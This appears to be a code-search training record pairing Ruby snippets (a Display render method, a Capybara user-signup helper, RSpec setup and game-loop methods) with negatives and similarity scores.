odata_entity[property_map[attribute_name]] = value\n end\n end\n\n nil\n end", "def setup_object_attributes; end", "def create_accessor_for(name, extensions)\n define_method name do |*args|\n if args.length == 0\n attributes[name].tap do |out|\n extensions.each do |extension|\n out.extend( extension )\n end\n end\n else\n send(\"#{name}=\", *args)\n self\n end \n end\n end", "def initialize(options={})\n #if nothing is passed, it's an empty hash\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n #this works together with the attributes. the attributes are already created with attr_accessor...\n #now u just assign values to these attributes\n #send does that(but can do other things). \n #ex: x.send(\"name=\", \"beyonce\") sets the attribute name to beyonce\n end", "def cattr_accessor(sym)\n cattr_reader(sym)\n cattr_writer(sym)\n end", "def attr_accessor_typesafe(*classes_args)\n classes_args.each_with_index do |attr_name, i|\n next if i%2 == 0\n\n class_name = classes_args[i-1].name\n attr_name = attr_name.to_s\n\n #getter\n self.class_eval %Q{\n def #{attr_name}\n fail \"variable <#{attr_name}> accessed without being initialized\" unless defined? @#{attr_name}\n @#{attr_name}\n end\n }\n\n #setter\n self.class_eval %Q{\n def #{attr_name}=(val)\n assert_kind_of(#{class_name}, val) if val != nil\n\n # set the value itself\n @#{attr_name}=val\n end\n }\n end\n end", "def attribute_name=(_arg0); end", "def attribute_name=(_arg0); end", "def attribute_name=(_arg0); end", "def method_missing(method_name, *args, &block)\n if method_name.to_s.end_with?('=')\n set_attribute(method_name, *args)\n elsif has_attribute?(method_name)\n get_attribute(method_name)\n else\n super\n end\n end", "def attribute_to_set; end", "def property(name); end", "def delegate_object_reader_method; end", "def define_attributes\n @info.attributes.each do |attr|\n rname = underscore(attr.name)\n self.class.__send__(:define_method, rname) { self[attr.name] } if attr.readable?\n self.class.__send__(:define_method, rname + \"=\") {|v| self[attr.name] = v } if attr.writable?\n end\n end", "def super_attr(name, opts={})\n\t\t\t\t\n\t\t\t\t# Defines getter\n\t\t\t\tdefine_method(\"#{name}\") do\n\t\t\t\t\tinstance_variable_get(\"@#{name}\")\n\t\t\t\tend\n\n\t\t\t\t# Defines setter\n\t\t\t\tdefine_method(\"#{name}=\") do |arg|\n\t\t\t\t\t# If the arg is a kind of opts[:type]\n\t\t\t\t\t# it sets the value, otherwise, it will\n\t\t\t\t\t# raise a StandardError.\n\t\t\t\t\tif arg.is_a? opts[:type]\n\t\t\t\t\t\tinstance_variable_set(\"@#{name}\", arg)\n\t\t\t\t\telse\n\t\t\t\t\t\traise StandardError.new(\"The value for #{name} is not a type #{opts[:type]}\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# If the attribute is required, it will\n\t\t\t\t# push its name to the @@required_attrs array\n\t\t\t\t@@required_attrs << name if opts.has_key?(:required) && opts[:required]\n\n\t\t\tend", "def sig_attr_accessor(*attr_names, &block)\n sig_attr_reader(*attr_names, &block)\n sig_attr_writer(*attr_names, &block)\n end", "def define_state_accessor; end", "def field_accessors(name)\n field_reader(name)\n attr_writer(name)\n end", "def definition\n case @rw\n when 'RW' then 'attr_accessor'\n when 'R' then 'attr_reader'\n when 'W' then 'attr_writer'\n end\n end", "def read(object, attribute, ivar = T.unsafe(nil)); end", "def define_attribute(name, reference = false)\n self.class_eval(\"def #{name};@#{name};end\")\n if reference\n self.class_eval(\"def #{name}=(val);@#{name}=Lobbyist::V2::#{name.camelize}.new(val);end\")\n else\n self.class_eval(\"def #{name}=(val);@#{name}=val;end\")\n end\n end", "def install_attr(attr)\n #Add reader/writer\n inner = code_attr(attr)\n estr = \"class Qml::#{@class}\\n #{inner}\\n end\"\n eval(estr, nil, attr.file, attr.line)\n @cache_load << [:accessor, @class, inner]\n\n name = attr[2]\n\n if(!Special.include? name)\n @init += \"Qml::prop_add(self, #{name.inspect})\\n\"\n end\n end", "def add_attr_accessors_to_self\n instance_variables.each do |name|\n method_name = name[1..-1].to_sym\n MetricFu::Configuration.send(:attr_accessor, method_name)\n end\n end", "def field(name)\n attr_accessor name\n end", "def method_missing(method, *args, &block)\n attribute = method.to_s\n\n if attribute =~ /=$/ # Define property -- does not have to exist\n attribute = attribute.chop\n self.changed_attributes[attribute] = args[0]\n self.attributes[attribute] = args[0]\n else\n return super unless self.attributes.include?(attribute)\n self.attributes[attribute]\n end \n \n end", "def attr_accessor(*symbols)\n locally_assigned << symbols\n locally_assigned.flatten!\n super(*symbols)\n end", "def singleton_attr_accessor( *symbols )\n\t\t\tsymbols.each do |sym|\n\t\t\t\tsingleton_class.__send__( :attr_accessor, sym )\n\t\t\tend\n\t\tend", "def initialize attr={}\n super\n self.attributes = attr\n end", "def attr(name, default_value=nil)\n context.send :attr_accessor, name\n instance_variable_set \"@#{name}\", default_value\n end", "def create_attr( name , ro = false)\n unless ro\n create_method( \"#{name}=\".to_sym ) { |val| \n instance_variable_set( \"@\" + name, val)\n }\n end\n\n create_method( name.to_sym ) { \n instance_variable_get( \"@\" + name )\n }\n end", "def vcattr_reader(*syms) # :nodoc:\r\n syms.each do |sym|\r\n instance_eval <<EVAL, __FILE__, __LINE__ + 1\r\ndef #{sym}(version = nil, *args)\r\n fetched = false\r\n version = validate_version!(version)\r\n versions.sort.inject(@_#{sym}) { |value, (current_version, hash)|\r\n if hash && current_version <= version\r\n value = hash.has_key?(#{sym.inspect}) ? hash[#{sym.inspect}] : value\r\n end\r\n\r\n value\r\n }\r\nend\r\nEVAL\r\n end\r\n end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def attributes; end", "def content_attr_accessor(*attribute_array)\n attribute_array.each do |att|\n define_method(att) do\n content.send(att)\n end\n define_method(\"#{att}=\") do |val|\n content.send(\"#{att}=\",val)\n end\n end\n end" ]
[ "0.7517434", "0.7383521", "0.73681265", "0.73030406", "0.7268946", "0.72402763", "0.72402763", "0.72402763", "0.715917", "0.7133599", "0.7132844", "0.7124043", "0.70797944", "0.7068077", "0.70117146", "0.69569534", "0.6934462", "0.69134676", "0.6910899", "0.68043226", "0.6761785", "0.6761785", "0.67245764", "0.6711143", "0.67008054", "0.66562665", "0.66391355", "0.6591504", "0.6574876", "0.6532582", "0.6458791", "0.64424217", "0.64424217", "0.64424217", "0.64424217", "0.64424217", "0.64424217", "0.64424217", "0.64414144", "0.6431376", "0.6378669", "0.6353327", "0.6353327", "0.63509506", "0.6330976", "0.6327692", "0.63180697", "0.6309334", "0.62945956", "0.6289979", "0.62833065", "0.62765956", "0.6276327", "0.6264616", "0.6246056", "0.62402755", "0.6167937", "0.61543465", "0.61399204", "0.6125243", "0.6124469", "0.6112407", "0.6096436", "0.6094226", "0.6082379", "0.6082379", "0.6082379", "0.6059449", "0.6025812", "0.60233283", "0.60226655", "0.6000302", "0.5967492", "0.59574187", "0.5954119", "0.59464616", "0.5926914", "0.59141", "0.5909178", "0.5901998", "0.5900692", "0.5888365", "0.5868551", "0.5862749", "0.58548325", "0.5845871", "0.5845718", "0.584272", "0.5834728", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.5818262", "0.580656" ]
0.0
-1
RSpec.configure do |config| end
def sign_up_new_user user = User.make visit "/" find('#join_now_link').click click_link 'Sign up with Email' fill_in 'Full name', with: user.full_name fill_in 'Email', with: user.email find('#user_password').set user.password find('#user_password_confirmation').set user.password click_button 'Sign up' user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def before_test\n super\n\n # Need local variables for access within the scoped blocks below.\n logger = @logger\n config_manager = @config_manager\n # Configure RSpec.\n RSpec.configure do |c|\n # Need access to framework methods from within the RSpec examples.\n c.include Automation::Kernel\n # The formatter that will feed RSpec notification to the framework.\n c.add_formatter(Automation::Rspec::Formatter)\n # Before each \"it\"\n c.before(:each) do\n @logger = logger\n @config_manager = config_manager\n end\n end\n end", "def add_testing\n setup_rspec\n setup_rspec_generators\n setup_rails_helper\n setup_factories_file\nend", "def setup!\n ::RSpec.configure do |c|\n c.add_formatter Formatter\n end\n end", "def setup_rspec_integration(env)\n RSpec.configure do |config|\n config.include @helpers\n config.before(:each) { Journeyman.attach(self) }\n end\n end", "def test\n RSpec.configuration.seed = rand 1..100_000 if defined? RSpec\n super\n end", "def spec_support_dir\n @spec_support_dir ||= File.expand_path(File.dirname(__FILE__))\nend", "def add_rspec_after!\n RSpec.configure do |config|\n config.after(:each, &after_test_fail_if_violations_proc)\n end\n end", "def use_spec_configuration\n MiteCmd.stub(:configuration_file_path).and_return(\n File.join(File.dirname(__FILE__), 'fixtures', 'mite.yml')\n )\nend", "def with_include_context\n ::RSpec.configure do |config|\n yield(config) if config.respond_to?(:include_context)\n end\n end", "def test_framework\n @test_framework ||= :rspec\n end", "def rspec &block\n RSpec::Core::ExampleGroup.class_eval &block if block\n return RSpec::Core::ExampleGroup\nend", "def spec; end", "def spec; end", "def start_simplecov\n require 'simplecov'\n SimpleCov.start :rails\n\n RSpec.configure do |config|\n require 'miletus/namespace_helper'\n # Mixin namespace helpers\n config.include Miletus::NamespaceHelper\n end\n\nend", "def configure!\n yield self\n setup\n end", "def setup; end", "def configure; end", "def before_test(test); end", "def before_test(test); end", "def app\n Sinatra::Application # It is must and tell rspec that test it running is for sinatra\nend", "def test_defaults\n end", "def test_config\n PuppetServerExtensions.config\n end", "def rspec\n\tsystem('rspec --init')\nend", "def unit_test!\n Deimos.configure do |deimos_config|\n deimos_config.logger = Logger.new(STDOUT)\n deimos_config.consumers.reraise_errors = true\n deimos_config.kafka.seed_brokers ||= ['test_broker']\n deimos_config.schema.backend = Deimos.schema_backend_class.mock_backend\n deimos_config.producers.backend = :test\n end\n end", "def initialize\n @config = ::RSpec.configuration.merimee_config\n yield @config if block_given?\n end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def initialize(config)\n @config = config\n @matchers = []\n end", "def setup\n Inspec::Plugin::V2::Loader.new.load_all\n end", "def all_spec_files\n 'spec/**/*_spec.rb'\nend", "def generate\n `rspec --init`\n end", "def run_test\n # Add your code here...\n end", "def run_test\n # Add your code here...\n end", "def spec\n File.join root, 'spec'\n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def factories!\n require 'factory_girl'\n require './spec/factories'\n extend FactoryGirl::Syntax::Methods\nend", "def setup_test_suite\n announce \"Installing Test Suite\"\n system \"bundle exec rails g rspec:install\"\n copy_spec_folder\n copy_guardfile\n git add: '.'\n git commit: %Q{ -m \"Setup core TDD and debugging suite using RSpec, Capybara, Guard, and FactoryBot\" }\nend", "def setup_test_suite\n return unless config.dig(\"test_suite\") == \"rspec\"\n\n generate \"rspec:install\"\n run \"rm -r test\"\n end", "def setup\n\n end", "def setup\n\n end", "def setup\n\n end", "def setup\n Capybara.app = App.new\n end", "def before_setup; end", "def allure_config\n AllureRSpec.configure do |config|\n config.output_dir = 'tmp/allure_' + build_path\n config.clean_dir = false\n config.logging_level = Logger::ERROR\n end\n end", "def setup_spec(t)\n t.spec_opts = ['--options', \"\\\"#{RIGHT_BOT_ROOT}/spec/spec.opts\\\"\"]\n t.spec_files = FileList[\"#{RIGHT_BOT_ROOT}/**/spec/**/*_spec.rb\"]\n t\nend", "def test_frameworks; end", "def insert_into_application\n #CHANGED\n config.generators do |g|\n # Use Rspec\n g.test_framework :rspec, fixture: false\n # Use haml\n g.template_engine :haml\n # Use Factory girl\n g.fixture_replacement :factory_girl, dir: 'spec/factories'\n end\nend", "def test_setup\r\n \r\n end", "def before_configuration(&block); end", "def configure\n # do nothing\n end", "def test_metrics_add_on_with_rspec\n run_hoboken(:generate, test_framework: 'rspec') do\n bin_path = File.expand_path('../../bin/hoboken', __dir__)\n execute(\"#{bin_path} add:metrics\")\n assert_file('Gemfile', /flog/, /flay/, /simplecov/)\n assert_file('tasks/metrics.rake')\n\n assert_file('spec/spec_helper.rb', <<~CODE\n require 'simplecov'\n SimpleCov.start do\n add_filter '/bin/'\n add_filter '/config/'\n add_filter '/db/migrate/'\n add_filter '/spec/'\n coverage_dir 'tmp/coverage'\n end\n\n CODE\n )\n end\n end", "def config \n @config ||= Gem.configuration[\"test_options\"] || { }\n end", "def self_test; end", "def self_test; end", "def configure(&block); end", "def configure(&block); end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def configure_should_syntax\n if Env.gem?('rspec', '>= 2.11')\n configure do |config|\n config.expect_with(:rspec) { |c| c.syntax = [:should, :expect] }\n config.mock_with(:rspec) { |c| c.syntax = [:should, :expect] }\n end\n else\n # We have an old RSpec that only understands should syntax\n end\n end", "def my_tests\n end", "def setup_rspec\n template('.rspec.tt', '.rspec')\n template('Rakefile.tt', 'Rakefile')\n template('spec/lib/versioned/version_spec.rb.tt', \"spec/#{version_path.sub(/\\.rb$/, '_spec.rb')}\")\n template('spec/lib/versioned_spec.rb.tt', \"spec/lib/#{namespaced_path}_spec.rb\")\n template('spec/spec_helper.rb.tt', 'spec/spec_helper.rb')\n end", "def init\n if RSpec::Mocks::Version::STRING >= '3.0'\n require 'rspec/mocks/standalone'\n else\n RSpec::Mocks.setup(self) unless self.respond_to? :allow\n end\n end", "def configure\n Rollbar.reconfigure do |config|\n # special test access token\n config.access_token = test_access_token\n config.logger = ::Rails.logger\n config.root = ::Rails.root\n config.framework = \"Rails: #{::Rails::VERSION::STRING}\"\n config.request_timeout = 60\n end\n end", "def setup\n @configure = Hatemile::Util::Configure.new\n end", "def test\n require File.expand_path(File.join(File.dirname(__FILE__), \"tests/tests\"))\n Test.run\nend", "def spec\n File.join root, 'spec'\n end", "def spec\n File.join root, 'spec'\n end", "def configure\n yield(config)\n end", "def setup_config\n # To be Extended\n end", "def stub_invalid_eventbrite_config\n allow(Rails.application.config).to receive_messages(eventbrite: { })\nend", "def spec(argv=ARGV)\n # disable autorun in case the user left it in spec_helper.rb\n RSpec::Core::Runner.disable_autorun!\n exit RSpec::Core::Runner.run(argv)\n end", "def initialize_test\n self.multiruby_skip ||= []\n self.testlib ||= :testunit\n self.rspec_dirs ||= %w(spec lib)\n self.rspec_options ||= []\n end", "def sandboxed(&block)\n begin\n @orig_config = RSpec.configuration\n @orig_world = RSpec.world\n new_config = RSpec::Core::Configuration.new\n new_config.include(RSpec::Matchers)\n new_world = RSpec::Core::World.new(new_config)\n RSpec.instance_variable_set(:@configuration, new_config)\n RSpec.instance_variable_set(:@world, new_world)\n object = Object.new\n object.extend(RSpec::Core::ObjectExtensions)\n object.extend(RSpec::Core::SharedExampleGroup)\n\n (class << RSpec::Core::ExampleGroup; self; end).class_eval do\n alias_method :orig_run, :run\n def run(reporter=nil)\n @orig_mock_space = RSpec::Mocks::space\n RSpec::Mocks::space = RSpec::Mocks::Space.new\n orig_run(reporter || NullObject.new)\n ensure\n RSpec::Mocks::space = @orig_mock_space\n end\n end\n\n object.instance_eval(&block)\n ensure\n (class << RSpec::Core::ExampleGroup; self; end).class_eval do\n remove_method :run\n alias_method :run, :orig_run\n remove_method :orig_run\n end\n\n RSpec.instance_variable_set(:@configuration, @orig_config)\n RSpec.instance_variable_set(:@world, @orig_world)\n end\nend", "def test_config_filename\n File.join File.dirname(__FILE__), 'config.yml'\nend" ]
[ "0.7154168", "0.68713355", "0.66880614", "0.65272653", "0.6517114", "0.6435687", "0.6421041", "0.6406674", "0.6387055", "0.6337266", "0.6318659", "0.6309044", "0.6309044", "0.62514645", "0.62438804", "0.6226592", "0.6222333", "0.6181554", "0.6181554", "0.61793154", "0.6175456", "0.61554295", "0.6091195", "0.6087942", "0.60506624", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60453534", "0.60378563", "0.6026517", "0.6022219", "0.60193247", "0.6012568", "0.6012568", "0.6006542", "0.6001471", "0.6001471", "0.6001471", "0.6001471", "0.6001471", "0.6001471", "0.6001471", "0.59842265", "0.59666234", "0.5946442", "0.59431523", "0.59431523", "0.59431523", "0.59360063", "0.59348017", "0.58863235", "0.58751774", "0.5861101", "0.58585626", "0.58483994", "0.5844184", "0.5843309", "0.5838232", "0.58301634", "0.5822433", "0.5822433", "0.5808437", "0.5808437", "0.5806005", "0.5806005", "0.5806005", "0.5806005", "0.5806005", "0.5806005", "0.57981956", "0.5796505", "0.57878244", "0.57712436", "0.5764028", "0.5755789", "0.5749147", "0.57479215", "0.57479215", "0.57450134", "0.57393855", "0.5719231", "0.57094", "0.5695272", "0.56913567", "0.5685652" ]
0.0
-1
temporary until we have game.rb
def render @display = Display.new(self) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game_setup\n end", "def loadGame()\n\nend", "def load_game\n require './game/setup.rb'\n end", "def game_mode; end", "def game_loop\n end", "def play\n #calls to all the methods that produce game!\n end", "def game_loop\n end", "def loadGame \n \"loadGame\" \n end", "def start_a_game\n jeopardy_board\n play_game\nend", "def hangman\n game = Game.new\n game.new_or_load\n hangman if game.play_again\nend", "def game_engine\n\t\tif @ai_on == true\n\t\t\tgame_with_ai\n\t\telse\n\t\t\t@player_two = 'black'\n\t\t\tgame_with_two_players\n\t\tend\n\t\tannounce_winner\n\t\tend_of_game\n\tend", "def player; end", "def player; end", "def player; end", "def player; end", "def player; end", "def player; end", "def player; end", "def run\n game = Game.new\n game.game_start\nend", "def check_for_active_game\n # TODO\n end", "def main\n rounds = Game.start\n game = Game.new(rounds)\n roshambo = Roshambo.new(game)\n Roshambo.play(roshambo)\nend", "def load_supported_games\n @supported_game_map = InfoAvilGames.info_supported_games(@log)\n #@supported_game_map.each{|k,v| p k}\n #p @supported_game_map\n # execute require 'mygame'\n @all_games_bots.each do |botgame|\n infogame = @supported_game_map[botgame[:key]]\n if infogame != nil and infogame[:enabled] == true\n botgame[:name] = infogame[:name]\n botgame[:opt] = infogame[:opt]\n else\n @log.warn(\"Game bot key #{botgame[:key]} not enabled in game_info\")\n end\n end\n #p @all_games_bots\n end", "def load_game\n print_saves\n begin\n read_save\n rescue IOError, SystemCallError\n puts 'File not found'\n load_game\n end\n end", "def gameplay; @gameplay ||= match.gameplays[current_player_side]; end", "def gameflow\n \n end", "def game_starter\n if path == \"/start_game\"\n @game = Game.new\n end\n end", "def begin_game\n\t\t#Does this need really to be stored in a variable?\n\t\tg = Game.new(@name)\n\tend", "def go_game\n #RPG::BGM.fade(30)\n #Graphics.fadeout(30)\n #Graphics.frame_count = 0\n DataManager.autosave(true, false)\n SceneManager.goto(Scene_Map)\n #$game_system.on_after_load\n end", "def start_game(game_config)\n # start a new game\nend", "def load_game\n $pokemon_party = @all_window[@index].data\n $pokemon_party.expand_global_var\n $pokemon_party.load_parameters\n $game_system.se_play($data_system.cursor_se)\n $game_map.setup($game_map.map_id)\n $game_player.moveto($game_player.x, $game_player.y) # center\n $game_party.refresh\n $game_system.bgm_play($game_system.playing_bgm)\n $game_system.bgs_play($game_system.playing_bgs)\n $game_map.update\n $game_temp.message_window_showing = false\n $trainer.load_time\n Pathfinding.load\n end", "def new_game!\n write_to_engine('ucinewgame')\n reset_board!\n set_startpos!\n @fen = nil\n end", "def game_state\n end", "def playGame\n #start the opening of the game\n #introduce the rules, ask for human or computer etc\n self.opening()\n\n end", "def finalize_game\n\n end", "def run\n start_game\n game_loop\n end_game\n end", "def run\n choose_game(prompt)\nend", "def start_new_game\n # TODO: increment stats\n # stats = GameStats.new\n # stats.game_number += 1\n\n # create new player\n\n\n # print New game text\n new_game_banner = File.read('./old_code/fancy_text/new_game.txt')\n puts new_game_banner\n\n # display into story\n puts display_intro(@player_one.name)\n\n # auto load stage 1\n require './lib/stage'\n Stage.new(1, 5, @player_one)\n end", "def initialize()\n original_dir = Dir.pwd\n Dir.chdir(__dir__)\n\n classes_before = ObjectSpace.each_object(Class).to_a\n Dir[\"../model/game/*\"].each {|file|\n require_relative file\n }\n Dir.chdir(original_dir)\n\n classes_after = ObjectSpace.each_object(Class).to_a\n @modes_loaded = classes_after - classes_before\n\n @game_started = false\n @observer_views = []\n @players = []\n @clients_players = Hash.new\n @board = nil\n @clients_board = nil\n @player_playing = nil\n @clients_player_playing_index = nil\n @AI_players = 0\n # http://docs.ruby-lang.org/en/2.0.0/Hash.html\n @game_history = Hash.new(-1)\n @turn = 1\n @online_mode = false\n @player_name = nil\n @player_id = 1\n @save_requests_received = Hash.new(0)\n @turn_which_save_was_requested = -1\n @continuing_game = false\n end", "def fgame\n if @full_game == nil\n @full_game = Game.from_game_string(self.game)\n end\n @full_game\n end", "def main\r\n welcome\r\n process_cmd_line\r\n top_up_players\r\n\r\n play_game\r\n\r\n rescue Interrupt\r\n puts\r\n end", "def process\n finish_games\n level_up\n warn_level_up\n start_games\n end", "def load_supported_games\r\n @supported_game_map = InfoAvailableGames.info_supported_games(@log)\r\n #p @supported_game_map\r\n SETTINGS_DEFAULT_APPGUI[:games_opt] = {}\r\n @supported_game_map.each do |k, game_item|\r\n if game_item[:enabled] == true\r\n require game_item[:file_req]\r\n @log.debug(\"Game #{game_item[:name]} is enabled\")\r\n SETTINGS_DEFAULT_APPGUI[:games_opt][k] = game_item[:opt]\r\n end\r\n end\r\n end", "def load_game_from_save\n #TODO implement game state saving and loading\n end", "def before_players_ready\r\n end", "def play\n\t\tgame_loop\n\tend", "def main\n # Class Instances\n game = Game.new\n player1 = Player.new(1)\n player2 = Player.new(2)\n # Start of main engine\n #player1.name = prompt_UI.name.....\n player1.get_name\n player2.get_name\n game.display_welcome(player1, player2)\n # Sets the current turn order\n current_player = player1\n # Start of main game loop\n continue = true\n while continue\n # go to game to get, go to UI to present\n game.display_question(current_player)\n current_player.display_score\n if current_player.game_over?\n game.final_score(player1, player2)\n continue = false\n end\n if current_player == player1\n current_player = player2\n else\n current_player = player1\n end\n end\nend", "def game_over\n end", "def run_full_game()\n set_max_games()\n name_all_players()\n puts play_through_set_of_games()\n set_determine_set_winner()\n puts overall_winner_message()\n end", "def new_game\n\t\tclear\n\t\tget_username\n\t\tselect_level\n\t\tget_deck\n\t\tshuffle\n\t\tget_hand\n\t\tcontinue_game\n\tend", "def extend_buffer; $game_player.eb; end", "def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end", "def game_over\n #some end game conditions\nend", "def hard\n g = Game.new\n sets = g.play\n \n sets\nend", "def initialize_current_gfx(nome_game)\n @log.debug \"**** bot: initialize current gfx #{nome_game}\"\n #p self.app_settings\n select_engine(nome_game)\n #@current_game_gfx = eval(@game_to_play[:class_name]).new()\n # override @game_bot_name only to use a test robot. For a game GameBasebot is enought\n # simply add the new game to @all_games_bots\n \n @current_game_gfx = eval( @game_bot_name ).new #GameBasebot.new\n @current_game_gfx.set_game_info(@game_to_play[:core_name],\n @game_to_play[:alg_name], @game_to_play[:key],\n @game_to_play[:nalgfx_name],\n @login_name)\n @current_game_gfx.net_controller = @control_net_conn\n @current_game_gfx.join_game = @join_game\n #p self.app_settings\n end", "def main()\n name_game(\"Lincoln\")\nend", "def initialize_game\n setup_boards\n end", "def new_game\n set_player\n\n if human_player?\n start_message(:welcome)\n\n set_grid\n puts\n set_bombs\n\n else #non-human\n start_message(:robot_game)\n @robot = Robot.new()\n @grid_size = @robot.grid_size\n @num_bombs = @robot.num_bombs\n end\n @play_again = true\nend", "def perform\n\tgame_menu\n\tgameplay\nend", "def game_play\n until game_over\n graphic\n guess\n end\n end", "def game_start\n opening\n first_menu\n end", "def apply(game)\n end", "def after_players_ready\r\n end", "def game_over?\n true\n end", "def load_game\n\tsettings.game_data = Ben::Game.load\n\tgame_json\nend", "def run_script\n\tgame = GameController.new\n\tsystem \"clear\"\n\tputs GameController.welcome_message.blue\n\tsleep 2\n\tsystem \"clear\"\n\t# puts GameController.bulletin_board\n\tgame.array_of_teams\n\tgame.choose_team\n\tgame.favorite_team\n\tgame.favorite_team_id\n\tgame.random_rival\n\tgame.get_rival_id\n\t\nend", "def play\n # unless the game is over players take turns\n take_turn until game_over?\n\n #start a new game if the game is over\n new_game_or_quit\n end", "def load_game\n save_file = YAML.load(File.read('save_game.yml'))\n @guess = save_file['guess']\n @secret_word = save_file['secret_word']\n @word_teaser = save_file['word_teaser']\n @lives = save_file['lives']\n round_start\n end", "def the_game\n# adding an additional until statement after in_city seems to have fixed the crash\n# this does, however, mean the player can only soft quit from the camp. Fair enough for now.\n gameon = true \n\n until !$in_camp do\n camp\n end\n\n until !$in_forest do\n \tforest\n end\n\n until !$in_boss do\n boss\n end\n\n until !$at_gate do\n gate\n end\n\n until !$in_city do\n city\n end\n\n# my dirty little fix.\n until !gameon\n the_game\n end\n\nend", "def play\n board_setup\n gameplay_setup\n end", "def run\n Interface::header\n Interface::newline\n\n count = get_number_of_players\n get_player_names( count )\n\n @b.play_game\n end", "def start_game\n\t\tself.game_is_started = true\n send_update\n end", "def game_start\n\n\tclear_screen\n\n\tprint_paragraph(\"Welcome to Trapped In A Cave.\\nGuess what? You're trapped in a cave...\nCan you make it out alive?\\n(For a list of commands type help at anytime.)\")\n\nstart_room\n\nend", "def play_game\n \twhile true\n \t\t@view.display_game_state(@word, @misses, @hits, @guesses_left)\n \t\tbreak if game_over?\n \t\tguess = get_guess\n \t\tbreak if guess == :save\n \t\tupdate_game_state guess\n \tend\n \tsave_game if guess == :save\n\tend", "def play_game\n # WarAPI.play_turn()\n end", "def calc_in_game\n return unless state.mode == :creating\n calc_world_lookup\n calc_player\n end", "def save_curr_game(fname)\n @log.debug \"Don't save the network game\"\n end", "def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end", "def check_game\n self.game ||= begin\n #TODO get player from last game\n # TODO write test where \"Player 3\" already exits\n player = Player.find_or_create_by(:name => \"Player #{self.slot}\")\n Game.create!(:player => player, :slot => self.slot)\n end\n end", "def render game\n raise NotImplementedError\n end", "def setup_game\n begin\n @game = @cache.fetch(@key, expires_in: 24.hours) do\n get_random_user_list \n get_prizes\n set_prizes\n end\n rescue => e\n puts \"e: #{e.inspect}\"\n @failed = true\n end \n end", "def start\n # start a new game using @config\n end", "def start_game(user)\n $game_session = nil\n UserGuess.delete_all\n\n initiate_game(user)\n question_loop\n end_message\n menu(user)\nend", "def getGameLoop\n @gameLoop\n end", "def run\n #Load the Hero File\n load_hero_file\n #Load dungeon at top level\n load_dungeon_file(@current_level)\n #display the hero's starting spot\n clear_message_box\n #get input either an action or a movement.\n while true\n update_screen\n key = @ui.instr\n case key\n when 'B','b' #turn left\n @hero_direction = POS_TURN.rotate!(-1)[0]\n when 'N','n' #turn right\n @hero_direction = POS_TURN.rotate!(1)[0]\n when 'M','m' #move ahead\n move_hero\n when 'A','a' #attack\n hero_attack if @monster_detected\n when 'C','c' #cast\n if @stats[:aura] > 0 && !@spells.empty?\n cast_spell\n else\n @ui.place_text('FIZZZZ....'.ljust(20),1,2,DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text(MSG_NOTHING.ljust(20),1,3,DungeonOfDoom::C_BLACK_ON_YELLOW)\n end\n when 'G','g' #get\n get_object\n when 'P','p' #potion\n drink_potion\n when 'R','r' #reveal\n light_room\n when 'S','s' #save?\n #not implemented yet\n when 'Q','q' #quit\n if ask_question('DO YOU REALLY WANT', 'TO QUIT? (Y/N)') == 'Y'\n break\n else\n clear_message_box\n end\n else\n #do nothing\n end\n #automated game elements\n\n #monster detected\n monster_attack if @monster_detected\n #hero died\n if @stats[:strength] <= 0\n game_over\n break\n end\n #hero gets idol!\n if @idol_found\n win_game\n break\n end\n end\n end", "def play; end", "def end_game\n end", "def restartGame\r\n\t\r\nend", "def check_if_new_game\n if self.game.score > self.score\n # TODO write test only if game 1\n Game.not_finished.map &:finish! if game.slot == 1\n self.game = Game.create!(:player => self.game.player, :slot => self.game.slot)\n end\n end", "def load_game(i)\n sys('load')\n File.open(filename(i), \"rb\") do |file|\n Marshal.load(file)\n extract_save_contents(Marshal.load(file))\n $game.reload\n @index = i\n end\n return true\n end", "def startNewGame ()\n #could have you enter your name\n newGame = Beyond_the_vale.new #this calls the new game class, whose init method calls the first card\nend", "def spawn_player player; end", "def setup_game\n\t\t@word = get_word.upcase\n\t\t@misses = []\n\t\t@hits = []\n\t\t@guesses_left = 10\n\tend", "def new_game\n # Start again!\n puts \"\\n\\n\"\n\t\n\t# Clears output from last game\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\n \n puts \"Beginning new game:\"\n puts \"\"\n start\nend", "def load_game\n\t\tprint \"Load game (y/n): \"\n\t\tload = gets.chomp.downcase[0]\n\t\treturn false if load == 'n'\n\t\treturn loader if load == 'y'\n\t\tload_game if (load != 'n' || load != 'y')\n\tend" ]
